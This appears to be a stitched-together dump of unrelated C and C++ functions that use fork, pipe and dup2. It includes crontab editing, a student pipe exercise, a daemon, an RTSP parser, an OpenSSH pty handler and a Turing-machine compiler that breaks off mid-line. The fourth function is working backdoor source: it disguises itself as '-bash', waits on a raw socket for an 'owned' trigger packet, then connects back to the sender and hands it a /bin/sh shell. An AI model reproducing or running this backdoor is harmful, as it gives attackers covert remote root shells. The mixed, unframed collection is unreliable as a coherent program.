int main(){ int i,line; char content[MAX_SCHEDULER][MAXLINE]; int pipe_fd[2]; FILE* fptr,*tmp_fptr; struct dirent *dirp; DIR* dp; pid_t pid; if((dp=opendir(dirname))==NULL) err_sys(); while((dirp=readdir(dp))!=NULL) if(strcmp(dirp->d_name,".")==0 || strcmp(dirp->d_name,"..")==0) continue; else break; if(dirp==NULL) _Exit(0); if((tmp_fptr=fopen(tmp_filename,"w"))==NULL) err_sys(); if(pipe(pipe_fd)<0) err_sys(); if((pid=fork())<0){ err_sys(); }else if(pid>0){ //parent , read from pipe close(pipe_fd[1]); if((fptr=fdopen(pipe_fd[0],"r"))==NULL) err_sys(); for(line=0;fgets(content[line],MAXLINE,fptr)>0;line++); if(fclose(fptr)==-1) err_sys(); if(waitpid(pid,NULL,0)<0) err_sys(); }else{ //child , write to pipe close(pipe_fd[0]); if(pipe_fd[1] != STDOUT_FILENO){ if(dup2(pipe_fd[1],STDOUT_FILENO) != STDOUT_FILENO) err_sys(); close(pipe_fd[1]); } if(execl("/usr/bin/crontab","crontab","-l",NULL)<0) err_sys(); } deal_content(content,&line,dp,dirp); if(closedir(dp)) err_sys(); for(i=0;i<line;i++) fprintf(tmp_fptr,"%s",content[i]); if(fclose(tmp_fptr)==-1) err_sys(); if((pid=fork())<0){ err_sys(); }else if(pid>0){ //parent if(waitpid(pid,NULL,0)<0) err_sys(); }else{ //child if(execl("/usr/bin/crontab","crontab",tmp_filename,NULL)<0) err_sys(); } if(unlink(tmp_filename)==-1) err_sys(); return 0; }
int main( int argc, char *argv[]){ if(argc != 2) { perror("\nUso Padre <path>"); exit(-1); } int pid,n = 1; int fd[2]; char buffer[10]; pipe(fd); //Creacion del fifo por el que se comunican los dos hijos //Creacion del primer hijo if( (pid=fork())<0) { perror("\nError en el primer fork"); exit(-1); } if( pid == 0){ //Este hijo se encarga de recibir numeros por entrada estandar close(fd[0]); dup2(fd[1],STDOUT_FILENO); while( n != 0){ scanf("%d",&n); printf("%d",n); //Se escriben en el pipe porque he cerrado la salida estandar y redirigido al pipe if( n == 0) exit(0); } } else{ //Creacion del segundo hijo por el padre if( (pid=fork())<0) { perror("\nError en el segundo fork"); exit(-1); } if( pid == 0 ){ //El segundo hijo ejecuta el programa LeerDir //Se redirige la entrada a la entrada del pipe close(fd[1]); dup2(fd[0],STDIN_FILENO); //Ejecucion del programa LeerDir if( (execl("/home/adritake/SO/Modulo2/Examen/LeerDir","LeerDir", argv[1], NULL)<0)) { perror("\nError en el execl"); } } else{ //El padre espera a sus hijos waitpid(-1); printf("El proceso padre ha finalizado.\n"); } } }
int main(int argc, char **argv) { int ch, longindex, nr; int is_daemon = 1, is_debug = 1; pid_t pid; struct pollfd *poll_array; while ((ch = getopt_long(argc, argv, "fd:vh", long_options, &longindex)) >= 0) { switch (ch) { case 'f': is_daemon = 0; break; case 'd': is_debug = atoi(optarg); break; case 'v': exit(0); break; case 'h': usage(0); break; default: usage(1); break; } } init(is_daemon, is_debug); if (is_daemon) { pid = fork(); if (pid < 0) exit(-1); else if (pid) exit(0); chdir("/"); close(0); open("/dev/null", O_RDWR); dup2(0, 1); dup2(0, 2); setsid(); } nl_fd = nl_open(); if (nl_fd < 0) exit(nl_fd); ipc_fd = ipc_open(); if (ipc_fd < 0) exit(ipc_fd); dl_init(); nr = MAX_DL_HANDLES; poll_array = poll_init(nr); dl_config_load(); event_loop(nr, poll_array); return 0; }
int main (int argc, char *argv[]) { int fd,sockfd; struct sockaddr_in saddr; int n,pid; char buf[MAXBUFLEN]; struct iphdr *ip_header; struct tcphdr *tcp_header; char *data; int port; long dst; printf("- LOTFREE Connect Back BackDoor -\n"); printf(" http://www.lsdp.net/~lotfree/\n\n"); if(geteuid()) { printf("Need root privileges\n"); return 1; } bzero(argv[0],strlen(argv[0])); strcpy(argv[0],"-bash"); signal(SIGCHLD,SIG_IGN); signal(SIGHUP,SIG_IGN); pid=fork(); if(pid>0) { printf("Backdoor launched in background...\n"); exit(0); } if ((fd = socket (PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1) { perror ("socket"); exit (1); } ip_header = (struct iphdr *) buf; tcp_header = (struct tcphdr *) (buf + sizeof (*ip_header)); data = (char *) (buf + sizeof (*tcp_header) + sizeof (*ip_header)); while (1) { n=read(fd,buf,sizeof(buf)); if (n >= 45) { if (!strncmp (data, "owned", 5)) { dst=ip_header->saddr; if (n == 45) port = 80; else { port=atoi((char *) (data + 5)); } sockfd=socket(PF_INET,SOCK_STREAM,0); saddr.sin_family=PF_INET; saddr.sin_addr.s_addr=dst; saddr.sin_port=htons(port); pid=fork(); if(pid==0) { connect(sockfd,(struct sockaddr*)&saddr,sizeof(struct sockaddr)); write(sockfd,"go!\n",4); close(0);close(1);close(2); dup2(sockfd,0); dup2(sockfd,1); dup2(sockfd,2); execl("/bin/sh","/bin/sh",(char*)0); close(sockfd); exit(0); } } } bzero(buf,MAXBUFLEN); } close (fd); return 0; }
//parseMessage(tConn->recv.data, tConn->recv.mark, &tConn->resp, ipstr, pHWADDR, tConn->keys); int parseMessage(struct connection *pConn, unsigned char *pIpBin, unsigned int pIpBinLen, char *pHWID) { int tReturn = 0; // 0 = good, 1 = Needs More Data, -1 = close client socket. if(pConn->resp.data == NULL) { initBuffer(&(pConn->resp), MAX_SIZE); } char *tContent = getFromHeader(pConn->recv.data, "Content-Length", NULL); if(tContent != NULL) { int tContentSize = atoi(tContent); if(pConn->recv.marker == 0 || strlen(pConn->recv.data+pConn->recv.marker) != tContentSize) { if(isLogEnabledFor(HEADER_LOG_LEVEL)) { slog(HEADER_LOG_LEVEL, "Content-Length: %s value -> %d\n", tContent, tContentSize); if(pConn->recv.marker != 0) { slog(HEADER_LOG_LEVEL, "ContentPtr has %d, but needs %d\n", strlen(pConn->recv.data+pConn->recv.marker), tContentSize); } } // check if value in tContent > 2nd read from client. return 1; // means more content-length needed } } else { slog(LOG_DEBUG_VV, "No content, header only\n"); } // "Creates" a new Response Header for our response message addToShairBuffer(&(pConn->resp), "RTSP/1.0 200 OK\r\n"); if(isLogEnabledFor(LOG_INFO)) { int tLen = strchr(pConn->recv.data, ' ') - pConn->recv.data; if(tLen < 0 || tLen > 20) { tLen = 20; } slog(LOG_INFO, "********** RECV %.*s **********\n", tLen, pConn->recv.data); } if(pConn->password != NULL) { } if(buildAppleResponse(pConn, pIpBin, pIpBinLen, pHWID)) // need to free sig { slog(LOG_DEBUG_V, "Added AppleResponse to Apple-Challenge request\n"); } // Find option, then based on option, do different actions. if(strncmp(pConn->recv.data, "OPTIONS", 7) == 0) { propogateCSeq(pConn); addToShairBuffer(&(pConn->resp), "Public: ANNOUNCE, SETUP, RECORD, PAUSE, FLUSH, TEARDOWN, OPTIONS, GET_PARAMETER, SET_PARAMETER\r\n"); } else if(!strncmp(pConn->recv.data, "ANNOUNCE", 8)) { char *tContent = pConn->recv.data + pConn->recv.marker; int tSize = 0; char *tHeaderVal = getFromContent(tContent, "a=aesiv", &tSize); // Not allocated memory, just pointing if(tSize > 0) { int tKeySize = 0; char tEncodedAesIV[tSize + 2]; getTrimmed(tHeaderVal, tSize, TRUE, TRUE, tEncodedAesIV); slog(LOG_DEBUG_VV, "AESIV: [%.*s] Size: %d Strlen: %d\n", tSize, tEncodedAesIV, tSize, strlen(tEncodedAesIV)); char *tDecodedIV = decode_base64((unsigned char*) tEncodedAesIV, tSize, &tSize); // grab the key, copy it out of the receive buffer tHeaderVal = getFromContent(tContent, "a=rsaaeskey", &tKeySize); char tEncodedAesKey[tKeySize + 2]; // +1 for nl, +1 for \0 getTrimmed(tHeaderVal, tKeySize, TRUE, TRUE, tEncodedAesKey); slog(LOG_DEBUG_VV, "AES KEY: [%s] Size: %d Strlen: %d\n", tEncodedAesKey, tKeySize, strlen(tEncodedAesKey)); // remove base64 coding from key char *tDecodedAesKey = decode_base64((unsigned char*) tEncodedAesKey, tKeySize, &tKeySize); // Need to free DecodedAesKey // Grab the formats int tFmtpSize = 0; char *tFmtp = getFromContent(tContent, "a=fmtp", &tFmtpSize); // Don't need to free tFmtp = getTrimmedMalloc(tFmtp, tFmtpSize, TRUE, FALSE); // will need to free slog(LOG_DEBUG_VV, "Format: %s\n", tFmtp); RSA *rsa = loadKey(); // Decrypt the binary aes key char *tDecryptedKey = malloc(RSA_size(rsa) * sizeof(char)); // Need to Free Decrypted key //char tDecryptedKey[RSA_size(rsa)]; if(RSA_private_decrypt(tKeySize, (unsigned char *)tDecodedAesKey, (unsigned char*) tDecryptedKey, rsa, RSA_PKCS1_OAEP_PADDING) >= 0) { slog(LOG_DEBUG, "Decrypted AES key from RSA Successfully\n"); } else { slog(LOG_INFO, "Error Decrypting AES key from RSA\n"); } free(tDecodedAesKey); RSA_free(rsa); setKeys(pConn->keys, tDecodedIV, tDecryptedKey, tFmtp); propogateCSeq(pConn); } } else if(!strncmp(pConn->recv.data, "SETUP", 5)) { // Setup pipes struct comms *tComms = pConn->hairtunes; if (! (pipe(tComms->in) == 0 && pipe(tComms->out) == 0)) { slog(LOG_INFO, "Error setting up hairtunes communications...some things probably wont work very well.\n"); } // Setup fork char tPort[8] = "6000"; // get this from dup()'d stdout of child pid int tPid = fork(); if(tPid == 0) { int tDataport=0; char tCPortStr[8] = "59010"; char tTPortStr[8] = "59012"; int tSize = 0; char *tFound =getFromSetup(pConn->recv.data, "control_port", &tSize); getTrimmed(tFound, tSize, 1, 0, tCPortStr); tFound = getFromSetup(pConn->recv.data, "timing_port", &tSize); getTrimmed(tFound, tSize, 1, 0, tTPortStr); slog(LOG_DEBUG_VV, "converting %s and %s from str->int\n", tCPortStr, tTPortStr); int tControlport = atoi(tCPortStr); int tTimingport = atoi(tTPortStr); slog(LOG_DEBUG_V, "Got %d for CPort and %d for TPort\n", tControlport, tTimingport); char *tRtp = NULL; char *tPipe = NULL; char *tAoDriver = NULL; char *tAoDeviceName = NULL; char *tAoDeviceId = NULL; // ************************************************* // ** Setting up Pipes, AKA no more debug/output ** // ************************************************* dup2(tComms->in[0],0); // Input to child closePipe(&(tComms->in[0])); closePipe(&(tComms->in[1])); dup2(tComms->out[1], 1); // Output from child closePipe(&(tComms->out[1])); closePipe(&(tComms->out[0])); struct keyring *tKeys = pConn->keys; pConn->keys = NULL; pConn->hairtunes = NULL; // Free up any recv buffers, etc.. if(pConn->clientSocket != -1) { close(pConn->clientSocket); pConn->clientSocket = -1; } cleanupBuffers(pConn); hairtunes_init(tKeys->aeskey, tKeys->aesiv, tKeys->fmt, tControlport, tTimingport, tDataport, tRtp, tPipe, tAoDriver, tAoDeviceName, tAoDeviceId); // Quit when finished. slog(LOG_DEBUG, "Returned from hairtunes init....returning -1, should close out this whole side of the fork\n"); return -1; } else if(tPid >0) { // Ensure Connection has access to the pipe. closePipe(&(tComms->in[0])); closePipe(&(tComms->out[1])); char tFromHairtunes[80]; int tRead = read(tComms->out[0], tFromHairtunes, 80); if(tRead <= 0) { slog(LOG_INFO, "Error reading port from hairtunes function, assuming default port: %d\n", tPort); } else { int tSize = 0; char *tPortStr = getFromHeader(tFromHairtunes, "port", &tSize); if(tPortStr != NULL) { getTrimmed(tPortStr, tSize, TRUE, FALSE, tPort); } else { slog(LOG_INFO, "Read %d bytes, Error translating %s into a port\n", tRead, tFromHairtunes); } } // READ Ports from here?close(pConn->hairtunes_pipes[0]); propogateCSeq(pConn); int tSize = 0; char *tTransport = getFromHeader(pConn->recv.data, "Transport", &tSize); addToShairBuffer(&(pConn->resp), "Transport: "); addNToShairBuffer(&(pConn->resp), tTransport, tSize); // Append server port: addToShairBuffer(&(pConn->resp), ";server_port="); addToShairBuffer(&(pConn->resp), tPort); addToShairBuffer(&(pConn->resp), "\r\nSession: DEADBEEF\r\n"); } else { slog(LOG_INFO, "Error forking process....dere' be errors round here.\n"); return -1; } } else if(!strncmp(pConn->recv.data, "TEARDOWN", 8)) { // Be smart? Do more finish up stuff... addToShairBuffer(&(pConn->resp), "Connection: close\r\n"); propogateCSeq(pConn); close(pConn->hairtunes->in[1]); slog(LOG_DEBUG, "Tearing down connection, closing pipes\n"); //close(pConn->hairtunes->out[0]); tReturn = -1; // Close client socket, but sends an ACK/OK packet first } else if(!strncmp(pConn->recv.data, "FLUSH", 5)) { write(pConn->hairtunes->in[1], "flush\n", 6); propogateCSeq(pConn); } else if(!strncmp(pConn->recv.data, "SET_PARAMETER", 13)) { propogateCSeq(pConn); int tSize = 0; char *tVol = getFromHeader(pConn->recv.data, "volume", &tSize); slog(LOG_DEBUG_VV, "About to write [vol: %.*s] data to hairtunes\n", tSize, tVol); write(pConn->hairtunes->in[1], "vol: ", 5); write(pConn->hairtunes->in[1], tVol, tSize); write(pConn->hairtunes->in[1], "\n", 1); slog(LOG_DEBUG_VV, "Finished writing data write data to hairtunes\n"); } else { slog(LOG_DEBUG, "\n\nUn-Handled recv: %s\n", pConn->recv.data); propogateCSeq(pConn); } addToShairBuffer(&(pConn->resp), "\r\n"); return tReturn; }
int mm_answer_pty(int sock, Buffer *m) { extern struct monitor *pmonitor; Session *s; int res, fd0; debug3("%s entering", __func__); buffer_clear(m); s = session_new(); if (s == NULL) goto error; s->authctxt = authctxt; s->pw = authctxt->pw; s->pid = pmonitor->m_pid; res = pty_allocate(&s->ptyfd, &s->ttyfd, s->tty, sizeof(s->tty)); if (res == 0) goto error; pty_setowner(authctxt->pw, s->tty); buffer_put_int(m, 1); buffer_put_cstring(m, s->tty); /* We need to trick ttyslot */ if (dup2(s->ttyfd, 0) == -1) fatal("%s: dup2", __func__); mm_record_login(s, authctxt->pw); /* Now we can close the file descriptor again */ close(0); /* send messages generated by record_login */ buffer_put_string(m, buffer_ptr(&loginmsg), buffer_len(&loginmsg)); buffer_clear(&loginmsg); mm_request_send(sock, MONITOR_ANS_PTY, m); mm_send_fd(sock, s->ptyfd); mm_send_fd(sock, s->ttyfd); /* make sure nothing uses fd 0 */ if ((fd0 = open(_PATH_DEVNULL, O_RDONLY)) < 0) fatal("%s: open(/dev/null): %s", __func__, strerror(errno)); if (fd0 != 0) error("%s: fd0 %d != 0", __func__, fd0); /* slave is not needed */ close(s->ttyfd); s->ttyfd = s->ptyfd; /* no need to dup() because nobody closes ptyfd */ s->ptymaster = s->ptyfd; debug3("%s: tty %s ptyfd %d", __func__, s->tty, s->ttyfd); return (0); error: if (s != NULL) mm_session_close(s); buffer_put_int(m, 0); mm_request_send(sock, MONITOR_ANS_PTY, m); return (0); }
void compile( const TuringEnv &env , bool verbose , bool link , std::string asmOut , std::string execOut ) { const int arbError = -27; bool useNASM = false; std::vector<std::string> stateNames; std::string assemblyCode; int lengthOfTape; std::string asmFilename; std::ofstream ofs; // Detecting whether NASM is installed. I like NASM more than gas, therefore // I will try to use NASM unless it is not installed. The assumption is that // at least gas is installed pid_t pid = fork(); if ( pid == 0 ) { // Child // Next three lines steal out and err from which and send to /dev/null int fd = open( "/dev/null" , O_WRONLY ); dup2(fd, 1); dup2(fd, 2); execlp( "which" , "which" , "nasm" , (char*)0 ); _exit( arbError ); } else { // Parent int status; pid_t result = waitpid( pid , &status , 0 ); if( WIFEXITED( status ) ) { int returnVal = WEXITSTATUS( status ); if ( returnVal == arbError ) { if ( verbose ) { std::cout << "* Fork-exec to check for NASM failed: " "Using gas for assembly." << std::endl; } } else if ( returnVal == 0 ) { if ( verbose ) { std::cout << "* NASM detected: Using NASM for assembly." << std::endl; } useNASM = true; } else { if ( verbose ) { std::cout << "* NASM not detected: Using gas for assembly." << std::endl; } } } else { if ( verbose ) { std::cout << "* Fork-exec to check for NASM terminated " "abnormally: Using gas for assembly." << std::endl; } } } if ( verbose ) { std::cout << "* Performing sanity check..." << std::endl; } // Terribly inefficient check to see if state names are repeated, and to // populate a list of the state names to be used after this for something for ( int i = 0; i < env.states.size(); i++ ) { for ( int j = i + 1; j < env.states.size(); j++ ) { if ( env.states.at(i).getName().compare( env.states.at(j).getName() ) == 0 ) { std::string error = "** Error on compile:\n\tDuplicate state " "names detected at state definitions "; error += castIntToString( i + 1 ); error += " and "; error += castIntToString( j + 1 ); error += "."; throw error; } } stateNames.push_back( env.states.at(i).getName() ); } // Ensure that states only transition to other defined states for ( int i = 0; i < env.states.size(); i++ ) { for ( int j = 0; j < env.states.at(i).getTransitions().size(); j++ ) { if ( env.states.at(i).getTransitions().at(j).nextState.compare( "accept" ) != 0 && env.states.at(i).getTransitions().at(j).nextState.compare( "reject" ) != 0 && std::find( stateNames.begin() , stateNames.end() , env.states.at(i).getTransitions().at(j).nextState ) == stateNames.end() ) { std::string error = "** Error on compile:\n\tUndefined state " "referenced in transition definition "; error += castIntToString( j + 1 ); error += " of state definition "; error += castIntToString( i + 1 ); error += ". "; const std::vector<std::string> &posToks = getSimilarTokens( stateNames , env.states.at(i).getTransitions().at(j).nextState ); if ( posToks.size() > 0 ) { error += "\n\tState names similar to token: "; for ( int k = 0; k < posToks.size(); k++ ) { error += posToks.at(k); } } throw error; } } } if ( verbose ) { std::cout << "* Sanity check passed.\n" << std::endl; printTuringEnv( env ); std::cout << "* Beginning compilation stage..." << std::endl; } // gas-only, force using intel syntax if ( !useNASM ) { assemblyCode += ".intel_syntax noprefix\n\n"; } // Here, add externs for functions we need. Gas doesn't need these // apparently if ( useNASM ) { assemblyCode += "\t\textern\tmalloc\n"; assemblyCode += "\t\textern\tfree\n\n"; assemblyCode += "\t\textern\tprintf\n"; if ( env.speed > 0 ) { assemblyCode += "\t\textern\tsleep\n\n"; } } // Here, allocate data we may need if ( useNASM ) { assemblyCode += "\t\tSECTION\t.data\n\n"; assemblyCode += "str_ctrl:\t\tdb\t\t\"Goodbye, world!\" , 10 , " "\"Tape:\" , 10 , \"%s\" , 10 , 0\n"; assemblyCode += "trans_lim_str:\tdb\t\t\"Simulation continued " "beyond allowed number of transitions. Exiting.\" , 10 , 0\n"; assemblyCode += "tape_err_str:\tdb\t\t\"Tape of insufficient " "size to accomodate input length. Exiting.\" , 10 , 0\n"; assemblyCode += "reject_str:\tdb\t\t" "\"Input REJECTED.\" , 10 , 0\n"; assemblyCode += "accept_str:\tdb\t\t" "\"Input ACCEPTED.\" , 10 , 0\n"; for ( int i = 0; i < env.states.size(); i++ ) { assemblyCode += "config_print_"; assemblyCode += env.states.at(i).getName(); assemblyCode += ":\tdb\t\t\"Configuration:\" , 10 , " "\"Tape:\" , 10 , \"%s\" , 10 , " "\"Head over cell: %d\" , 10 , " "\"In state: "; assemblyCode += env.states.at(i).getName(); assemblyCode += "\" , 10 , 10 , 0\n"; } assemblyCode += "config_print_accept"; assemblyCode += ":\tdb\t\t\"Ending Configuration (Success):\" , 10 , " "\"Tape:\" , 10 , \"%s\" , 10 , " "\"Head over cell: %d\" , 10 , " "\"In state: accept\" , 10 , 10 , 0 \n"; assemblyCode += "config_print_reject"; assemblyCode += ":\tdb\t\t\"Ending Configuration (Failure):\" , 10 , " "\"Tape:\" , 10 , \"%s\" , 10 , " "\"Head over cell: %d\" , 10 , " "\"In state: reject\" , 10 , 10 , 0 \n"; assemblyCode += "initial_config"; assemblyCode += ":\tdb\t\t\"Starting Configuration:\" , 10 , " "\"Tape:\" , 10 , \"%s\" , 10 , " "\"Head over cell: %d\" , 10 , " "\"In state: "; assemblyCode += env.start; assemblyCode += "\" , 10 , 10 , 0 \n"; } else { assemblyCode += "\t\t.section\t.data\n\n"; assemblyCode += "str_ctrl:\t\t.asciz\t\t\"Goodbye, world!\\n\"\n"; assemblyCode += "tape_err_str:\t.asciz\t\t\"Tape of insufficient " "size to accomodate input length. Exiting.\n\""; } // PUT ANY .data SECTION ELEMENTS HERE // NOTE THAT GAS AND NASM SYNTAX FOR DEFINING STUFF IN .data DIFFER // Here, allocate reserved memory we may need if ( useNASM ) { assemblyCode += "\t\tSECTION\t.bss\n\n"; } else { assemblyCode += "\t\t.section\t.bss\n\n"; } // PUT ANY .bss SECTION ELEMENTS HERE // NOTE THAT GAS AND NASM SYNTAX FOR DEFINING STUFF IN .bss DIFFER if ( useNASM ) { assemblyCode += "\t\tSECTION\t.text\n\n"; assemblyCode += "\t\tglobal\tmain\n\n"; } else { assemblyCode += "\t\t.section\t.text\n\n"; assemblyCode += "\t\t.global\tmain\n\n"; } // From here, there shouldn't be any differences in accepted syntax by // gas or NASM, because of the ".intel_syntax noprefix" deal // Entry point into program assemblyCode += "main:\n"; // Set up stack frame if ( useNASM ) { assemblyCode += "\t\tpush\tebp\n"; } else { assemblyCode += "\t\tadd\t\tesp , -4\n"; assemblyCode += "\t\tmov\t\t[esp] , ebp\n"; } assemblyCode += "\t\tmov\t\tebp , esp\n"; // Here allocate memory for the tape // We did not ask for any specific amount of cells, so get a default of 1000 if ( env.cells <= 0 ) { if ( env.cells < 0 ) { std::cout << " Warning: Negative number of cells to allocate " << "were requested: " << env.cells << ". Defaulting to 1000 " << "cells." << std::endl; } lengthOfTape = 1000; if ( useNASM ) { assemblyCode += "\t\tpush\t1001\n"; } else { assemblyCode += "\t\tadd\t\tesp , -4\n"; assemblyCode += "\t\tmov\t\teax , 1001\n"; assemblyCode += "\t\tmov\t\t[esp] , eax\n"; } assemblyCode += "\t\tcall\tmalloc\n"; // Place null terminator at end of the tape, to make printing easy assemblyCode += "\t\tmov\t\tbyte [eax + 1000] , 0\n"; } else { if ( env.cells > 0 && env.cells < 150 ) { std::cout << " Warning: Very small number of cells requested: " << env.cells << ". Compilation may fail, or execution may give " << "unexpected results because of the wrap-around behavior of " << "simulator." << std::endl; } lengthOfTape = env.cells + 1; if ( useNASM ) { assemblyCode += "\t\tpush\t"; assemblyCode += castIntToString( env.cells + 1 ); assemblyCode += "\n"; } else { assemblyCode += "\t\tadd\t\tesp , -4\n"; assemblyCode += "\t\tmov\t\teax , "; assemblyCode += castIntToString( env.cells + 1 ); assemblyCode += "\n"; assemblyCode += "\t\tmov\t\t[esp] , eax\n"; } assemblyCode += "\t\tcall\tmalloc\n"; // Place null terminator at end of the tape, to make printing easy assemblyCode += "\t\tmov\t\tbyte [eax + "; assemblyCode += castIntToString( env.cells ); assemblyCode += "] , 0\n"; } // Pop malloc arg off stack if ( useNASM ) { assemblyCode += "\t\tpop\t\tedx\n"; } else { assemblyCode += "\t\tmov\t\tedx , [esp]\n"; assemblyCode += "\t\tadd\t\tesp , 4\n"; } // Move array pointer into edi for rep, and into edx for storing the pointer assemblyCode += "\t\tmov\t\tedx , eax\n"; assemblyCode += "\t\tmov\t\tedi , eax\n"; // Initialize ecx counter for rep assemblyCode += "\t\tmov\t\tecx , "; assemblyCode += castIntToString( lengthOfTape ); assemblyCode += "\n"; // Initialize value that will be stored in every cell with rep assemblyCode += "\t\tmov\t\tal , \'"; assemblyCode += env.empty; assemblyCode += "\'\n"; // Initialize the tape assemblyCode += "\t\trep\t\tstosb\n"; // Set esi to 0, where 1 means we want to print configs, and 0 means no, // and then get later whether we should assign 1 to esi assemblyCode += "\t\tmov\t\tesi , 0\n"; // Check to see if we got any input // Get argc assemblyCode += "\t\tmov\t\teax , [ebp + 8]\n"; assemblyCode += "\t\tcmp\t\teax , 1\n"; assemblyCode += "\t\tje\t\tno_input\n"; assemblyCode += "\t\tcmp\t\teax , 2\n"; assemblyCode += "\t\tje\t\tinit_tape\n"; // If we got both an input string and an extra input, it means we want to // print configs during execution assemblyCode += "\t\tmov\t\tesi , 1\n\n"; assemblyCode += "init_tape:\n"; // Load the input into the tape assemblyCode += "\t\tmov\t\teax , [ebp + 12]\n"; // Get arv[1] assemblyCode += "\t\tmov\t\teax , [eax + 4]\n"; // Load input onto tape assemblyCode += "\t\tmov\t\tecx , 0\n\n"; assemblyCode += "load_input_loop:\n"; assemblyCode += "\t\tmov\t\tbl , [eax + ecx]\n"; assemblyCode += "\t\tmov\t\t[edx + ecx] , bl\n"; assemblyCode += "\t\tinc\t\tecx\n"; assemblyCode += "\t\tcmp\t\tbyte [eax + ecx] , 0\n"; assemblyCode += "\t\tje\t\tloaded_input\n"; assemblyCode += "\t\tcmp\t\tbyte [edx + ecx] , 0\n"; assemblyCode += "\t\tje\t\ttape_not_big_enough\n"; assemblyCode += "\t\tjmp\t\tload_input_loop\n\n"; assemblyCode += "no_input:\nloaded_input:\n"; // Initialize ecx to be position on tape assemblyCode += "\t\tmov\t\tecx , 0\n"; // Initialize edi to be the count for the number of steps the machine takes assemblyCode += "\t\tmov\t\tedi , 0\n"; // Print the initial config assemblyCode += "\t\tcmp\t\tesi , 0\n"; assemblyCode += "\t\tje\t\tskip_print_init_config\n"; assemblyCode += "\t\tpush\teax\n"; assemblyCode += "\t\tpush\tecx\n"; assemblyCode += "\t\tpush\tedx\n"; assemblyCode += "\t\tpush\tecx\n"; assemblyCode += "\t\tpush\tedx\n"; assemblyCode += "\t\tpush\tinitial_config\n"; assemblyCode += "\t\tcall\tprintf\n"; assemblyCode += "\t\tadd\t\tesp , 12\n"; assemblyCode += "\t\tpop\t\tedx\n"; assemblyCode += "\t\tpop\t\tecx\n"; assemblyCode += "\t\tpop\t\teax\n"; assemblyCode += "skip_print_init_config:\n"; // Go to the first state assemblyCode += "\t\tjmp\t\tstate_"; assemblyCode += env.start; assemblyCode += "\n"; // edx = pointer to tape // ecx = current tape position // esi = 0 if no printing configs, 1 if printing configs // edi = count of the transitions taken so far // eax , ebx = trash // HERE PUT IN THE ACTUAL COMPILED CODE for ( int i = 0; i < env.states.size(); i++ ) { assemblyCode += "\n\n"; assemblyCode += "state_"; assemblyCode += env.states.at(i).getName(); assemblyCode += ":"; std::vector<Transition> transitions = env.states.at(i).getTransitions(); for ( int j = 0; j < transitions.size(); j++ ) { assemblyCode += "\n.state_trans_"; assemblyCode += castIntToString( j ); assemblyCode += ":\n"; assemblyCode += "\t\tmov\t\tbl , [edx + ecx]\n"; assemblyCode += "\t\tcmp\t\t bl , \'"; assemblyCode += transitions.at(j).readSym; assemblyCode += "\'\n"; if ( j < transitions.size() - 1 ) { assemblyCode += "\t\tjne\t\t.state_trans_"; assemblyCode += castIntToString( j + 1 ); assemblyCode += "\n"; } else { assemblyCode += "\t\tjne\t\tstate_reject\n"; } if ( transitions.at(j).readSym != transitions.at(j).writeSym ) { assemblyCode += "\t\tmov\t\tbyte [ edx + ecx ] , \'"; assemblyCode += transitions.at(j).writeSym; assemblyCode += "\'\n"; } if ( transitions.at(j).direction == 'R' ) { assemblyCode += "\t\tinc\t\tecx\n"; assemblyCode += "\t\tcmp\t\tecx , "; assemblyCode += castIntToString( lengthOfTape - 1 ); assemblyCode += "\n"; assemblyCode += "\t\tjne\t\t.state_bounds_high_skip_"; assemblyCode += castIntToString( j ); assemblyCode += "\n"; assemblyCode += "\t\tmov\t\tecx , 0\n"; } else if ( transitions.at(j).direction == 'L' ) { assemblyCode += "\t\tdec\t\tecx\n"; assemblyCode += "\t\tcmp\t\tecx , "; assemblyCode += castIntToString( -1 ); assemblyCode += "\n"; assemblyCode += "\t\tjne\t\t.state_bounds_low_skip_"; assemblyCode += castIntToString( j ); assemblyCode += "\n"; assemblyCode += "\t\tmov\t\tecx , "; assemblyCode += castIntToString( lengthOfTape - 2 ); assemblyCode += "\n"; } assemblyCode += "\n.state_bounds_high_skip_"; assemblyCode += castIntToString( j ); assemblyCode += ":\n"; assemblyCode += ".state_bounds_low_skip_"; assemblyCode += castIntToString( j ); assemblyCode += ":\n"; if ( env.speed > 0 ) { assemblyCode += "\t\tpush\teax\n"; assemblyCode += "\t\tpush\tecx\n"; assemblyCode += "\t\tpush\tedx\n"; assemblyCode += "\t\tpush\tdword "; assemblyCode += castIntToString( env.speed ); assemblyCode += "\n"; assemblyCode += "\t\tcall\tsleep\n"; assemblyCode += "\t\tadd\t\tesp , 4\n"; assemblyCode += "\t\tpop\t\tedx\n"; assemblyCode += "\t\tpop\t\tecx\n"; assemblyCode += "\t\tpop\t\teax\n"; } // Print config info assemblyCode += "\t\tcmp\t\tesi , 0\n"; assemblyCode += "\t\tje\t\t.no_config_print_"; assemblyCode += castIntToString( j ); assemblyCode += "\n"; assemblyCode += "\t\tpush\teax\n"; assemblyCode += "\t\tpush\tecx\n"; assemblyCode += "\t\tpush\tedx\n"; assemblyCode += "\t\tpush\tecx\n"; assemblyCode += "\t\tpush\tedx\n"; assemblyCode += "\t\tpush\tconfig_print_"; assemblyCode += transitions.at(j).nextState; assemblyCode += "\n"; assemblyCode += "\t\tcall\tprintf\n"; assemblyCode += "\t\tadd\t\tesp , 12\n"; assemblyCode += "\t\tpop\t\tedx\n"; assemblyCode += "\t\tpop\t\tecx\n"; assemblyCode += "\t\tpop\t\teax\n"; assemblyCode += "\n.config_printed_"; assemblyCode += castIntToString( j ); assemblyCode += ":\n"; assemblyCode += ".no_config_print_"; assemblyCode += castIntToString( j ); assemblyCode += ":\n"; assemblyCode += "\t\tinc\t\tedi\n"; assemblyCode += "\t\tcmp\t\tedi , "; assemblyCode += castIntToString( env.steps ); assemblyCode += "\n"; assemblyCode += "\t\tjge\t\ttransition_limit\n"; assemblyCode += "\t\tjmp\t\tstate_"; assemblyCode += transitions.at(j).nextState; assemblyCode += "\n"; } } assemblyCode += "\ntransition_limit:\n"; assemblyCode += "\t\tpush\teax\n"; assemblyCode += "\t\tpush\tecx\n"; assemblyCode += "\t\tpush\tedx\n"; assemblyCode += "\t\tpush\ttrans_lim_str\n"; assemblyCode += "\t\tcall\tprintf\n"; assemblyCode += "\t\tadd\t\tesp , 4\n"; assemblyCode += "\t\tpop\t\tedx\n"; assemblyCode += "\t\tpop\t\tecx\n"; assemblyCode += "\t\tpop\t\teax\n"; assemblyCode += "\t\tjmp\t\texit_sim\n"; assemblyCode += "\nstate_reject:\n"; assemblyCode += "\t\tpush\teax\n"; assemblyCode += "\t\tpush\tecx\n"; assemblyCode += "\t\tpush\tedx\n"; assemblyCode += 